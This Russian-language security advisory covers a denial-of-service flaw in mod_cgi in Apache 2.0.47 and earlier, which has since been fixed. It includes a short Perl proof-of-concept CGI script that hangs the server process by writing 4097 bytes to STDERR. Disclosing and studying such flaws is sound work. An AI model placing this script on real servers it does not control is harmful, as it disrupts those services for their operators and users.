Security Lab

Отказ в обслуживании против Apache Web сервера

Дата публикации:29.09.2003
Дата изменения:29.03.2008
Всего просмотров:1348
Опасность:
Низкая
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Отказ в обслуживании
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Apache 2.0.x
Уязвимые версии: Apache Web Server 2.0.47 и более ранние версии

Описание: Уязвимость обнаружена в Apache Web сервере в mod_cgi. Удаленный пользователь, способный положить CGI сценарий на сервер, может нарушить работу Web сервера.

CGI сценарий, который генерирует более 4k исходящих данных к STDERR, приведет к приостановке работы CGI сценария. При этом Apache httpd процесс зависнет в ожидании дополнительных данных из CGI процесса, из-за блокирования функционального запроса write() в mod_cgi.

Пример/Эксплоит:

#!/usr/bin/perl
# 24x170 = 4080 bytes to stderr
foreach my $x (1..24) {
print STDERR 'X' x 169 . "\n";
}
# + 17 more bytes, putting us at 4097
# Delete one char from the print below to make
# it work again
print STDERR "0123456789ABCDEF\n";
# Our actual script output, which never comes
print "Content-type: text/plain\n\nASDF\n";

URL производителя: http://nagoya.apache.org/bugzilla/show_bug.cgi?id=22030

Решение: Производитель выпустил обновленную версию mod_cgi.c, доступную в Apache 2.1 CVS repository.

Ссылки: 4097+ bytes of stderr from cgi script causes script to hang